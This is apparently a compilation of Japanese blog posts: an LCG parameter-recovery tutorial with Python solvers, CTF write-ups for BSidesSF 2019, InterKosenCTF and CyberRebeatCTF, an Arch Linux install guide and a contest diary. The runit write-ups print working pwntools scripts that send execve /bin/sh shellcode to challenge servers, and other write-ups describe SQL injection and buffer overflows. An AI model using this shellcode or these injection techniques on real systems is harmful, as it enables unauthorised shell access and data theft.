線形合同法のパラメータを乱数列から求めてみる。
線形合同法とは
一応文字の置き方の準備なども含め線形合同法について簡単に解説します。
線形合同法(Linear Congruential Generator, LCG)とは、以下の漸化式で定義されている疑似乱数生成アルゴリズムの一つです。
パラメータ の値によって周期や出てくる数値が代わり、最大周期は で ] の自然数が出てきます(mod M なので)。また、 は初期値で と呼ばれます。一般的にその時の時間やCPUの温度などを使って設定されます。
LCGは現在も広く使われ、その理由に実装が簡単なのと分かりやすい漸化式で定義されているので理解しやすいといったところがあると思います。しかし実は割と限界で、最大周期は と比較的短いです。その理由もあってか最近ではより高速でより周期も大きいメルセンヌツイスタアルゴリズムなどにとって代わられています。
後々使うので、ここでLCGの周期が最大になるようなパラメータの一つを紹介しておきます。
他にもLCGの特徴は多くありますがそれらについてはググればたくさん出てくるのでこのあたりにしておきます。今回は最終的に、与えられた乱数列から各パラメータの値を求めてみます。わかりやすい日本語の記事がなかったのと自分の勉強がてら書こうと思います。
とりあえず実装
普通に線形合同法を実装してみます。漸化式の通り実装します。インライン引数に各パラメータと生成する乱数列の大きさをとります。
# LCG.py import sys import time def LCG(seed, a, c, M, size): res = [] x = seed for i in range(size): x = (a * x + c) % M res.append(x) return res if __name__ == "__main__": a = int(sys.argv[1]) c = int(sys.argv[2]) M = int(sys.argv[3]) size = int(sys.argv[4]) res = LCG(time.time_ns(), a, c, M, size) print(res)
漸化式そのままですね。seedは適当に時間使ってます。気持ちはC言語のsrand(time(NULL))です。確かに、ランダムに数字が動いてるように見えます。
ここで線形合同法で生成した既知の乱数列があり、その続きの値を予測することを考えます。ここではseedを適当な時間の値にしましたが、仮に すべての値がわかってるとしたらseedの値を既知の乱数列の最後の数値にしてあげそのまま生成するとその次の値、さらにその次の値と予測できます。漸化式を見ればわかりますが、一周期のうち取りうる値は一回ずつしか出てこないからですね。
c だけがわからないとき
連続した乱数列の大きさが2以上なら解けます。この場合は簡単で以下のような式変形で解くことができます。
以下実装。引数に と標準入力で乱数列を渡します。
# getc.py import sys if __name__ == "__main__": a = int(sys.argv[1]) M = int(sys.argv[2]) x = [] buf = input("number1 > ") x.append(int(buf)) buf = input("number2 > ") x.append(int(buf)) c = (x[1] - a * x[0]) % M print("c = {}".format(c))
確かに の値が復元できてますね。
a と c がわからないとき
連続した乱数列の大きさが3以上なら解けます。値が二つわからないので一見複雑そうですが意外とそうでもありません。以下のような連立合同式を立ててあげます。
乱数の周期が2以上のとき次のように変形すると解け、 の値を求めることができます。
のこりの については、先程の だけが分からないときの問題を解けば求めることができます。
また、周期が1のときは となり の値も一般的に
と解けます。
実装で注意すべき点は有限体上の除算で、これを行うためにモジュラ逆数を用います。拡張ユークリッドの互助法(egcd)を使うことでmodの逆元(modinv)が実装できます。
以下実装。引数に と標準入力で乱数列をとります。周期が1の時は の最小の値を表示します。
# getac.py import sys def egcd(a, b): if a == 0: return (b, 0, 1) g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y) def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception("No modinv") return x % m if __name__ == "__main__": M = int(sys.argv[1]) x = [] buf = input("number1 > ") x.append(int(buf)) buf = input("number2 > ") x.append(int(buf)) buf = input("number3 > ") x.append(int(buf)) print(x) if x[0] == x[1]: a = 0 c = x[0] else: a = (x[2] - x[1]) * modinv(x[1] - x[0], M) % M c = (x[2] - a * x[1]) % M print("a = {}".format(a)) print("c = {}".format(c))
はい。
全部わからないとき
乱数列が6つあればだいたい解けます。
今まで通り乱数列を増やして連立させてみることを考えます。すると以下のような式が立っていきます。
上の式は次のように言い換えることもできます。
式が一つ増えるごとに未知数 が増えます。
これを解決するには、ある自然数 に対し、ランダムないくつかの の倍数のgcdを取ると高い確率で になるという事実を用います。これを利用することで となるような がgcdを取るだけで簡単に求まります。
ここで適当な配列 を以下のように定義しておきます。
この を用いるとこのような変形が可能になります。
これらを利用すれば の値を求めることができます。他のパラメータについても今までの方法を利用すれば問題なく求まるようになります。
以下実装。標準入力に乱数列をとります。
import sys from functools import reduce import math def egcd(a, b): if a == 0: return (b, 0, 1) g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y) def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception("No modinv") return x % m if __name__ == "__main__": # inputs x = [] buf = input("number1 > ") x.append(int(buf)) buf = input("number2 > ") x.append(int(buf)) buf = input("number3 > ") x.append(int(buf)) buf = input("number4 > ") x.append(int(buf)) buf = input("number5 > ") x.append(int(buf)) buf = input("number6 > ") x.append(int(buf)) # solve M T = [] for x0, x1 in zip(x, x[1:]): T.append(x1 - x0) zeros = [] for t0, t1, t2 in zip(T, T[1:], T[2:]): zeros.append(t2 * t0 - t1 * t1) M = abs(reduce(math.gcd, zeros)) # solve a, c if x[0] == x[1]: a = 0 c = x[0] else: a = (x[2] - x[1]) * modinv(x[1] - x[0], M) % M c = (x[2] - a * x[1]) % M # answer print("a = {}".format(a)) print("c = {}".format(c)) print("M = {}".format(M))
わーい。お疲れ様でした。時間とやる気があったらモジュラ逆数と の倍数のgcdのやつについても追加で書いておきます。
BSidesSF 2019 writeup
- はじめに
- [101 Mobile 50pts] blink
- [Forensics 100pts] thekey
- [Forensics 10pts] slashslash
- [101 Forensics 50pts] zippy
- [101 Web 1pts] futurella
- [101 Pwning 25pts] runit
- [101 Pwning 52pts] runitplusplus
- [101 2pts] Trivia 1
- 感想
はじめに
GrowthKeysは元々みんなで勉強するようのチームで実はCTFtimeにも登録してませんでした。ということでKaitoさんと新しくStarrySkyを結成しました!話はもっと前からあったのですが大学受験なども合わさってなかなか決められませんでした…ついにです!
というわけでそんな記念すべきStarrySky最初のCTFとなったBSidesSF 2019について書いていきます。
自分たちのチームは300ポイントで84位でした。元々100位以内入ればいいかなーって思ってやってたのですがもうちょっとポイントが伸ばせそうだったのでちょっと残念です。
以下、常体で自分の解いた問題のwriteupを書いていきます。
[101 Mobile 50pts] blink
__ blink.apk __
apk問。とりあえずblink.apkを展開してみる。
$ unzip blink.apk $ dex2jar classes.dex $ unzip classes-dex2jar.jar $ jad -s java -d src -r com/example/blink/*.class $ cd src/com/example/blink/ $ ls BuildConfig.java MainActivity.java R.java r2d2.java
r2d2.javaに明らかに怪しいプログラムがあるので読んでみる。
byte abyte0[] = Base64.decode(" data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQE...xIgg/8X//2Q==".split(",")[1], 0);
よくわからない長いやつはjpegファイルをBase64でエンコードしたものだと言うことがわかったので自力でデコードしてみる。
echo "/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQE...xIgg/8X//2Q==" | base64 -d > out.jpeg feh out.jpeg
フラグゲット。
[Forensics 100pts] thekey
__ thekey.pcapng __
wiresharkでthekey.pcapngで開いてみるとUSB Protcolの通信データだった。URB_INTERRUPT inがたくさん続いていたのでUSBキーボードの入力データと予想。実際Leftover Capture Dataにもそれっぽい値がいっぱい入ってた。
というわけでLeftover Capture Dataを取り出してキー入力を見てみる。
$ tshark -r thekey.pcapng -T fields -e usb.capdata | sed '/^$/d' > data $ cat data 00:00:00:00:00:00:00:00 00:00:19:00:00:00:00:00 00:00:00:00:00:00:00:00 00:00:0c:00:00:00:00:00 00:00:0c:10:00:00:00:00 00:00:10:2c:00:00:00:00 00:00:2c:00:00:00:00:00 00:00:00:00:00:00:00:00 00:00:09:00:00:00:00:00 00:00:00:00:00:00:00:00 ...
HIDのキーコード表と照らし合わせてキー入力を復元してみる。本当はスクリプトを書くべきだったがそんなに分量が多くなかったので面倒くさくて書いてない。
"vim flaag.txt
hhhhhhとかvbUAとかなんだよって思ってましたが最後に:wq
CTF{MY_FAVOURITE_EDITOR_IS_VIM}
[Forensics 10pts] slashslash
__ flag.zip __
よくわかんないけど解凍してみる。
$ unzip flag.zip Archive: flag.zip SevenPinLock0123456 extracting: flag.aes128cbc
よくわかんないコメント"SevenPinLock0123456"とaes128cbcで暗号化されたフラグが出てきた。問題のポイント的にaesの脆弱性をつくものでないとなんとなくわかるので試しに複合してみる。パスワードを要求されたのでよくわかんないけどzipのコメントの"SevenPinLock0123456"を使ってみる。
$ openssl aes-128-cbc -d -in flag.aes128cbc enter aes-128-cbc decryption password: *** WARNING : deprecated key derivation used. Using -iter or -pbkdf2 would be better. bad decrypt
なんかエラー出た。opensslわからん。 -md md5 つけてみる。
$ openssl aes-128-cbc -d -in flag.aes128cbc -md md5 enter aes-128-cbc decryption password: *** WARNING : deprecated key derivation used. Using -iter or -pbkdf2 would be better. CTF{always_add_comments}
フラグゲット!
[101 Forensics 50pts] zippy
__ zippy.pcapng __
zippyって言うくらいだしなんか出てくるだろと思ってbinwalk。やっぱりzipが出てきた。unzipしようとするとパスワードを求められたのでこれをpcapngファイルから見つければいいということがわかった。
$ binwalk -e zippy.pcapng $ cd _zippy.pcapng.extracted $ ls 4DE.zip flag.txt $ cat flag.txt $ unzip 4DE.zip Archive: 4DE.zip [4DE.zip] flag.txt password: skipping: flag.txt incorrect password $ wireshark ../zippy.pcapng $
TCPストリームを追跡してみる。
多分stringsでも出る。
unzip -P supercomplexpassword flag.zip というコマンドで圧縮されたことがわかるのでパスワードがsupercomplexpasswordであることがわかった。これで解凍できる。
フラグゲット!
CTF{this_flag_is_your_flag}
最初引っ掛けかと思ったので通ったときは驚いた。
[101 Web 1pts] futurella
__ Location - https://futurella-85e75f52.challenges.bsidessf.net/ __
書くまでもないけど一応書く。
エイリアンの文字がいっぱいあって読めない。置換式暗号かなー面倒くさい…。と思ったら宇宙人の文字がコピーできた。
"
Resistance is futile! Bring back Futurella or we'll invade!
Also, the flag is CTF{bring_it_back}
"
フラグゲット!
他の星でも文字コードは同じだったようだ。
[101 Pwning 25pts] runit
__ Location - runit-5094b2cb.challenges.bsidessf.net:5252 __
__ runit __
接続してみるとなんか適当に入力できて、よくわかんないけどSIGSEGVでた。
runitを逆アセンブルして読むとどうやら入力された文字をそのまま実行しているらしい。つまりシェルコードを送ればいい。x86用で大丈夫っぽい。
コードどぺ。
from pwn import * r = remote("runit-5094b2cb.challenges.bsidessf.net", 5252) # r = process("./runit") payload = "\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80" r.sendline(payload) r.interactive()
一応このシェルコードのアセンブリを書いておく。
31 d2 xor edx,edx 52 push edx 68 2f 2f 73 68 push 0x68732f2f 68 2f 62 69 6e push 0x6e69622f 89 e3 mov ebx,esp 52 push edx 53 push ebx 89 e1 mov ecx,esp 8d 42 0b lea eax,[edx+0xb] cd 80 int 0x80
シェルが取れたのであとは /home/ctf/flag.txt を読むだけ。
フラグゲット!
CTF{you_ran_it}
[101 Pwning 52pts] runitplusplus
_ Location - runitplusplus-a36bf652.challenges.bsidessf.net:5353 _
_ runitplusplus _
runitの続きみたいなやつ。runitと同じようにシェルコードをそのまま送ってもだめだったのでしっかり逆アセンブル結果を読んでみた。
一見コードは複雑だが最終的な結果は簡単で、読み込んだ文字列を前後ろ反転させて実行していた。ということでx86の適当なシェルコードを反転させて送ればいい。
と思ったがここには罠があった。
実は文字列を送る際必ず一番最後に改行文字(0xa)が含まれてしまう。この改行文字も含めて前後ろ反転させるため実際に送られるシェルコードは必ず "\x0a\xde\xad\xbe\xef..." という形になってしまう。リトルエンディアンに注意すると実際に実行されるコードは "\xbe\xad\xde\x0a..." という形になり、自分が送りたいコードとは別になってしまう。
ここで \x0a から始まるシェルコードを作ってそれをうまく並び替えればいいと考えた。
コードどぺ
from pwn import * r = remote("runitplusplus-a36bf652.challenges.bsidessf.net", 5353) #r = process("./runitplusplus") payload = "\xc2\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80\x0a"[::-1] r.sendline(payload) r.interactive()
このコードのアセンブリについて。runitで使ったシェルコードをちょっとだけ改造した。並び替えを戻した実際のシェルコードは"\x0a\xc2\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80"。
これでシェルが起動できるのであとは /home/ctf/flag.txt を読めばいい。
フラグゲット!
{ti_nar_uoy}FTC
感想
敬体に戻します。
結構惜しいところまでいって最後の一押しができない問題がいくつかありちょっと残念でした。順位は目標に到達できましたがもう少しいけたと思うと悔しいです。復習頑張りたいです。
やっぱりCTFは楽しいです。お疲れさまでした。
VirtualBox6.0にArchLinuxをインストールしていくだけ
最初に
こんにちは、スクショ雑星人です。タイトル通りVirtualBoxにArchLinuxをインストールし、デスクトップ環境を構築するまでやります。基本的にArchWikiのインストール手順に沿ってやっていくのでそちらも参照してみてください。
基本的に一つ一つ解説はしない(できない)ので詳しく知りたい方はぜひArchWikiを参照してみてください。とても分かりやすく載っています。また、間違い等ありましたら是非指摘してください。
仮想マシンの作成
まずイメージファイルをダウンロードします。今回自分は "archlinux-2019.02.01-x86_64.iso" というファイルをダウンロードしました。
Arch Linux JP Project - ダウンロード
時によって名前は変わるので "archlinux-XXXX.XX.XX-x86_64.iso" とかなら大丈夫です(毎月更新してるっぽい?)
ダウンロードしたらVirtualBoxの設定へ行きます。新規作成で以下のように設定してください。
名前やメモリサイズなどは適当でいいです。
また、設定でEFIを有効化にチェックをつけてください。ビデオメモリとかの設定は適当でいいです。
追記
Graphics Controller が VMSVGA だとスクリーンショット等をとるときにエラーがでることがあるそうです。他にもこれは CentOS での話なのですがマウスポインタが表示されないといったことも起こっているようです。ちょっと安定性が怪しいので Graphics Controller を従来の VBoxVGA に変更することをお勧めします。
設定が終わったら起動して先ほどインストールしたイメージファイルを選択してください。
起動直後、選択肢がいくつか出てくると思いますが一番上の "Arch Linux archiso x86_64 UEFI USB" のままで大丈夫です。その後一分くらい黒い画面のまま待ちます。
この画面になったら後は(大体)コマンド打つだけです。
キーマップの設定
キーマップを日本語にします。デフォルトでは英語ですが。このままでいい人は設定はいりません。
通信の確認
VirtualBoxなら標準で通信できるようになってると思いますが一応確認です。もしできなかったらArchWikiへ飛んでください。
パーティション切り分け
現在のブロックデバイスを確認します。
lsblkで表示されるものの中で TYPE が disk のものに注目します。今回自分の場合は sda でした。恐らく人によって違うことがあるので以降は sdX と表記します。自分のデバイス名に適宜置き換えてください。
それではパーティションを切っていきます。
gdiskで切っていきます。まずoコマンドで既存のパーティションの情報をクリアします。
rootパーティションを作ります。メインの部分です。
保存します。
切り分けたパーティションはlsblkで確認できます。
パーティションのフォーマットとマウント
ESPをvfat、ルートパーティションをext4でフォーマットします。
ルートパーティションを /mnt に、ESPを /mnt/boot にマウントします。
システムクロックの更新
ミラーの選択
/etc/pacman.d/mirrorlist を編集してミラーを選択します。位置的に近いサーバーを上に持ってくるといいです。
自分はこんな感じにしました。
ベースシステムのインストール
fstabの作成
chroot
/mnt を新しいルートディレクトリにします。
タイムゾーンの設定
タイムゾーンを東京に合わせます。東京が嫌な人は好きな国にしてください。選べる国は # timedatectl list-timezones で確認できます。
ロケールとキーマップ
ホストネームの設定
myhostname は適当に好きな名前にしてください。
下の画像では myhostname は Arch になっています。
Systemd Networkd
パスワードの設定
Rootのパスワードを設定します。
ブートローダのインストール
systemd-boot をインストールします。grubより楽な気がします。多分。
仮想マシンのシャットダウン
シャットダウン後ディスクは取り出します。
ネットワークの設定
再起動した後 name:root, password:passwdで設定したやつ でルートアカウントにログインします。このままだとネットワークが有効になっていないので設定します。
systemd-networkd と systemd-resolved を再起動します。
スワップの設定
sizeは必要なサイズです。メインメモリの2倍がいいとか+2Gがいいとか色々聞きます。メガバイト単位ならM、ギガバイト単位ならGを後ろにつけてください。(例: 6G)
再起動したら swap が機能しているか確認。
一般ユーザの作成
さすがにルートを一般ユーザとして使わけにはいかないので。
username は各自適当に決めてください。
作成したユーザでログインします。
AURを使えるようにする
yayをインストールします。少し前にyaourtは非推奨になったらしいです。
Guest utils のインストール
Xorgのインストール
シンプルなターミナルと時計が表示されれば問題なくインストールできたと見て大丈夫です。exitでxorgを終了できます。
デスクトップ環境のインストール
まずディスプレイマネージャを入れます。今回は LightDM を入れます。
デスクトップ環境を入れます。自分は awesome を入れますが各自好きなように入れて大丈夫です。例えば xfce を入れる場合 xfce と xfce-goodies をインストールします。
その他必要なものをインストールする
- xdg-user-dirs-gtk ディレクトリ名を英語にするやつ
- gamin ディレクトリ監視システム
- pulseaudio サウンドサーバ
- pulseaudio-alsa サウンドカードのデバイスドライバ
- pavucontrol pulseaudioの音量を調節するやつ
- alsa-utils alsa関係の色々入ってるやつ
- otf-ipafont フォント
- chromium ブラウザ
他にも自分は vim や curl 等をインストールしました。
わーい。ターミナルは Win+Enter で開けます便利。シンプルな見た目から自分好みにいくらでもカスタマイズできるので楽しい環境ですね。
日本語環境の整備
環境変数を日本語用に。ここではキーマップはUSなので注意。
fcitxもここで入れます。
fcitxの設定をしていきます。
設定はこんな感じにします。左下の + で追加、- で削除ができます。
おまけ: ターミナルをちょっと良くする
Xtermだとシンプルすぎる方向けです。Xtermが好きな人はそのままでいいと思います。あとXtermだと日本語がうまく表示されません。
terminatorをインストールしていきます。
awesomeの設定ファイルをいじります。
再起動した後ターミナルを起動するとしっかりと terminator が起動できていることがわかります。
awesomeの設定ファイルの書き方については調べれば結構たくさんでてきます。ターミナルだけでなく他にもたくさん設定してみてください!
いえい
これでインストールは終了になります。Archはたくさんカスタマイズができるディストリビューションなので自分の用途に合わせていい感じに遊んでみてください!では、よきArchライフを!
InterKosenCTFに参加した
どうやら高専CTFのときの優勝チームがCTFを開催するらしいと聞いて参加してみました。高専チームとしてでるとなんか色々よさそうでしたが、今回はGrowthKeysとして、naoppyさんとaileさんと最後にちょっとだけKaitoさんと参加しました。
以下自分が解いた問題+αのwriteupです。
[Cheat:100] lights out
Turn all the lights on.
WindowsのバイナリだったのでとりあえずIDAさんに食わせるもエラーを吐かれます。読んでみると.netのプログラムだということがわかるのでdnsPyに食わせます。
とりあえず色々関数を見てみると.cctorに怪しいプログラムが見つかりました。
よくわからないけどフラグ作ってそうだなーって思ってこの部分だけPythonで書いて実行してみるとフラグがでました。
KOSENCTF{st4tic4lly_d3obfusc4t3_OR_dyn4mic4lly_ch34t}
[Crypto:100] strengthended
If you choose a tiny e as an RSA public exponent key, it may have the Low Public Exponent Attack vulnerability. So, I strengthened it.
RSA問です。問題文を見るとLowPublicExponentAttackをする問題だけどちょっと工夫がいるような感じだなーと思います。
encrypt.pyでフラグを暗号化して結果がencryptedなんだなーと分かります。eの値が小さいのでやはりLowPublicExponentAttackだなーと思いますが、encrypt.pyでpow(m, key.e) < key.n のときmの値をどんどん2倍していっていたため、ただやるだけではだめだと分かります。
encrypt.pyで最終的に求められるmは適当な自然数xを使えば n*x+c と表すことができ、これを考えると解けます。
KOSENCTF{THIS_ATTACK_DOESNT_WORK_WELL_PRACTICALLY}
[Firensics:50] attack log
Someone seems to have tried breaking through our authentication. Find out if he or she made it to the end.
pcapngファイルが渡されるので解析していきます。
とりあえずstrings
パスワードがわかればいいです。
wiresharkで除いてhttpに絞ってみると、大量のGETと401がUnauthorizedが見つかります。
ここでInfomationで整理してみると、大量のUnauthorizedの中に唯一200 OKが返っている18777番のパケットが見つかります。この直前にGETしている18775番のパケットをみてみるとパスワードがみつかるので、それがフラグになります。
KOSENCTF{bRut3F0rc3W0rk3D}
[Forensics:200] conversation
We seized a smartphone which one of the suspects had used. Find out the conversation they had.
自分はとても苦戦しましたが通してる人がたくさんいたのでとても焦りました。
最初、e2fsckでイメージファイルを修復してマウントして…とやっていたのですがフォルダが多すぎて大変で、結局その方法ではフラグを見つけることができませんでした。
いい方法ないかなーって思ってとりあえずforemostしてみたところ、画像ファイルがいくつか出てきたのでとりあえず全部見てみました。すると、怪しいjpgファイルが見つかりそこにフラグが書いてありました。
KOSENCTF{7h3_4r7_0f_4ndr01d_f0r3n51c5}
[pwn:100] double check
nc pwn.kosenctf.com 9100
offset:44の位置でバッファオーバーフローで任意アドレスに飛ばせます。パット見たところ、一番最後の if(strncmp(password, ...) { と if(readfile("flag", password)) { の間に飛ばせばいいことがわかりますが、ただやるだけだとauthフラグが0になてしまい、The file is locked. と表示されてしまうのに阻まれてしまいます。
まずauthフラグについては sw(1) を呼び出してあげればいいです
以下エクスプロイトコード
KOSENCTF{s1mpl3-st4ck0v3rfl0w!}
[pwn:200] introduction
nc pwn.kosenctf.com 9200
これとlibc-2.27.soももらえました。
公開されてから割と早い段階で解けてとてもうれしかった問題でもあります。
面倒くさいので詳しくは明日書きます。コードどぺー
これでシェルが奪えるのでcat flagすればオーケー
KOSENCTF{lIbc-bAsE&ESp_lEAk+rET2lIbc_ThrOugh_FSB}
[Reversing:100] flag_generator
This program generates the flag for you!!
いい感じの時間になるまでループし続け、なったらフラグを作るらしいです(多分)
f(n) = 0x25dc167e となるnを[obj.s] に打ち込めばいいことがわかります。
ソルバどぺー
z3pyでごり押しました。
KOSENCTF{IS_THIS_REALLY_A_REVERSING?}
[Reversing:200] flag_checker (おまけ)
You should check your flag before your submission.
自分はこの問題を解くことができませんでしたが、ちょっとしたミスでうーん…となっていて最終的にアで悔しいのでwriteup書きます。
受け取った文字列を 0xdec0c0de を鍵としていい感じに変更して、最終的に元々用意されていたものになればそれがフラグということがわかります。
また鍵も 0xdec0c0de -> 0xdec0c0dede -> 0xdec0c0dedec0 のように数値が変わっていきます。
ソルバどぺー
KOSENCTF{TOO_EASY_TO_DECODE_THIS}
感想
今回GrowthKeysは16位でした。とても疲れて、二日目は17時間睡眠をキメてしまい起きた時は焦りました…w
もう少し上を狙えたかなと考えるととても悔しいですが、結果は結果なので精進していきたいと思います。
本当にお疲れさまでした。
29回高専プロコンに参加ししましたー【行動編】
今回はタイトルの通り高専プログラミングコンテストの阿南大会に行ってきました。自分史上初の四国です。タイトルに行動編とありますが簡単に言うと何をしたかとかそういうのを書いてきます。自分たち小山高専のアルゴリズムなどは後で書きます。今回は色々とアレだったので来年自分が高専プロコンに参加するか微妙なお気持ちです。
前日
馬鹿なmitsuくんは準備を前日に初めたんですよ。おバカです。金曜日と月曜日の公欠を取って徳島に行くのが楽しみでした。個人的にこの曜日の授業は面倒くさいので嬉しかったです。ついたら適当にしおりをもらっていきました。この日、プログラムの方の数値の調整とかやりたいことが若干あったのですが自分が途中持病でぶっ倒れてしまい"この日"はあまり貢献することはできませんでした...。まぁ11時くらいに起きて日をまたいでいっぱいプログラムをかけたのですが(笑)
レポート含めたくさんの不安を抱えながら徳島の地へ向かうこととなったのでした...。
一日目
予行演習->予選という流れでした。実は予行演習の直前にルールの伝え方に不備があったようでうちもその影響をダイレクトで受けてしまいました。その後すぐに予行演習だったので大混乱です。他にも同じような境遇のチームは少なくなく、せめて前日には行ってほしかったなという気持ちです。
いざ予行演習となり対戦相手は沖縄高専でした。詳しくは技術編などで話すのですが、うちのチームは一番最初だけ少し時間を取って色々やるプログラムになっていました。実際大会のルールでは最初に少しだけ長く時間が取ってあって動かせる状態ではあったのですが想像以上に時間がなく、その自分のプログラムが動いていないうちに試合が始まってしまいました。AIを活用する暇もなく人力となりました。
司令塔となった同じチームの方によるとトランプを探すのが大変とのこと。他のチームはジェスチャーを使っているところが多く自分たちもその後ジェスチャーに切り替えました。募集要項に「トランプのみを使って司令を出す」みたいなことが書いてあったので汲み取り方を間違えてしまったっぽいです。
その後昼休みを挟んで予選でしたがパソコンを使ってると時間が来てしまい間に合わないので人力でやり負けてしまいました…。今思うとGUI面をもっと力入れたほうが良かったと思っています。
その後麺を食べGUIの強化へとデスマーチを進行させるのでした……。
二日目
ほぼ寝ないで敗者復活戦へと挑みました。多少GUIの操作がしやすくなり司令もだしやすくなりました。またモンテカルロ法だと時間がかかってしまい司令を受けてエージェントが動くまで含めると間に合わなそうだったので適当に貪欲法のプログラムを作っておきました。
敗者復活、一回戦は上手く貪欲法が動き勝利できました。今回のルールだといかにシンプルなAIでいかに的確に司令を出せるかが問われるものだと改めて思い知りました。高専UIコンテストですね。
二回戦ですが、弊高専の司令の方が味方と敵のエージェントを逆に動かしてしまい失敗し負けてしまいました。睡眠不足やUIの強化が足りなかったことが原因かと思われとても残念でした。
どうやら夕方から裏プロコンと名打ったものが開催されていたようで自分たちも一戦だけやりにいきました。裏プロコンでは実際にプレイするのはパソコン内で人力全くなしの勝負だったのでこれは勝ちたい、とモンテカルロで挑みました。しかしどうしたことかエージェントが奇怪な動きをし始めました。その時修正することはできずなんとも言えない結果になってしまいましたがどうやら実行時のシェルスクリプトのミスだったようです。睡眠って大事だなって思いました。
三日目
プロコンが終わり少しだけ観光してから帰ることになりました。鳴門海峡に行き渦潮を見に行きましたがタイミングが合わなくてあまり見ることができませんでした。渦潮にもいくつか種類があったりその種類によっての作られ方など面白そうなものがいっぱい展示されていたのでまあ楽しかったです。あと海がとても広くて人間の小ささを改めて思い知りました。きれいでした。
最後にお土産を買ってご飯を食べました。阿波おどり空港のRich Burgerという店に入りハンバーガーを食べてました。「激辛!」と書いてあったハンバーギャーとオレンジジュースをたのみ美味しくいただきました。最後にハンバーギャー完食証明書なるものをもらいましたがそこまで辛くなかったのでみんなにも挑戦してほしいです。とっても美味しかったです。
それで
帰りました。おやすみなさい。
CyberRebeatCTF に参加しました!
はじめに
タイトルの通り CyberRebeatCTF に参加しました! " CyberRebeat " というノベルゲームの英語版が Steam ででたようで、その祝いとして開催されたようです。
自分は「ソロリンピック」とかいうクソださチーム名でその名の通り一人で参加してました。一つのジャンルに集中できないので大変でした...。順位は 3338 点で全体 25 位で健闘はできたのかな~とは思っています。今度は複数人で参加したいですね。
あとゲーム作りたいです。
以下 Write-up です。
Exercise (Exercise 10)
Rotation (Crypto 10)
P4P6S{} が CRCTF{} だろうなーって予想してエスパーしました。
FLAG.encrypted (Crypto 200)
普通の RSA で安心しました。公開鍵と暗号文が渡され、公開鍵を見てみると明らかに e の値が大きかったので Wiener's Attack でやりました。
SimpleBinary (Binary 100)
起動しても何も起こらないので gdb でチラーって見てたらなんかでてきました。
Readme (Misc 100)
恐らく一番下の行が CRCTF から始まっていて形が似ていることがわかるので読みます。
Calcuration (Programming 10)
netcat で接続すると "11 + 6 - 2 + 3" などの式が与えられるのでそれに答えるだけです。
途中で eval のエラーがでて見てみるとフラグだったのでこんな感じでいくかーって感じでした。よくないです。
あと普通に socket でいいです(pwntools にしたせいで逆に手間取ってしまいました)(練習したかったのです)
Prime Factor (Programming 100)
数字が与えられるのでそれの最大の素因数を一定時間内で求めよという問題でした。素数判定するのが面倒だったので力技で時間と勝負しました。楽しかったです。
Python だと素因数のリストを求めてくれるライブラリとかありそうですね。
Visual Novels (Programming 200)
Reading Power とノベルゲームのコストと満足度が与えられます。Reading Power 以内のコストで最大の満足度を得られるような組み合わせの時の満足度を求めよという問題でした。ノベルゲームの数がそこまで多くなかったので無理やり愚直な方法でとりあえず解きました。駄目ですね。
あとこの問題ではエラーでフラグを見るみたいなのができなかったので適当に数を指定してフラグとぶつかるようにしてました。これまたよくない。 後で綺麗にする予定です。
Tweet (Recon 10)
CyberRebeatScripts (Recon 100)
GitHub でアカウントを検索するとでてきたのでリポジトリをとりあえず見ました。問題と同名のリポジトリがあったのでコミットを確認するとフラグを消しているのが見つかりました。はい。
ChangeHistory (Recon 100)
消した commit のハッシュが与えられるので ChangeHistory リポジトリの commit の URL にそのハッシュを追加すると見れます。ドクペ。
Secret.pdf (Stegano 10)
pdf 開いたら黒塗りの後ろがコピーできたのでぺってやりました。
Alpha (Stegano 100)
名前が名前だったのでαチャンネル抽出したらでました。
Monero (Trivia 10)
-----------------------------------------------------------------------------------------------------------------
ウェブ上からMoneroを発掘するソフトウェア。
日本で、自身のウェブサイト上にこのソフトを設置した何人かのユーザが逮捕されている。
-----------------------------------------------------------------------------------------------------------------
coinhive ですね。
Crossword (Trivia 100)
最初面倒そうだと思ってましたがやってみたら意外と簡単だったのでよかったです。
CRCTF{SUBMARINE}
White page (Web 100)
サイトを開いても LOGIN ボタンしか出てきませんでした。
入力ボックスらしきものが visibility:hidden となっていたのでそれを消してあげて、元々与えられていた ID とパスワードで入るとフラグゲットです。
どうでもいいですが Whitespace が頭から離れませんでした。
Let's Tweet! (Web 100)
Twitter は得意です。
Uploader (Web 100)
アクセスすると複数個のファイルと下のような感じでした。
検索ボックスに ' とか入れてあげるとなんかエラーがでてきました。
SQL インジェクションだなーなんて思いながら検索ボックスに下のようなのをいれました。
すると下の画像のように、先ほどのページに secret.zip というのが現れました。
それをダウンロードして解凍しようとするとパスワードが要求されたのでバカな自分はとりあえずブルートフォースを仕掛けようとしてましたがいつまでたっても終わりませんでした。元々与えられていた UserID と Password を試していなかったので guest, guest でログインすると、
つまり secret.zip の持ち主の harada という ID にログインできればオッケーということです。自分はまだ User:harada のパスワードを知らないのでこれも SQL インジェクションかなーなんて思ってました。
こんな感じに入力したらユーザーの情報がとれたので harada のパスワードが seishin0129 だということがわかります。
それでログインすれば secret.zip のパスワードもわかるのでフラグが入手できます!
感想
Binary 問を後回しにして最初は別のところからいっていたのですが、やっぱり最初にやるべきでした。結局やり始めたのは二日目からなのですが思っていた以上に時間がなくて解けそうだった問題も解けないままになってしまいました。個人的にフィボナッチ数の xor とるやつは解きたかったです。ただ、勉強したかいがあったのか苦手な SQL インジェクション問が解けたのはちょっぴり嬉しかったりします。
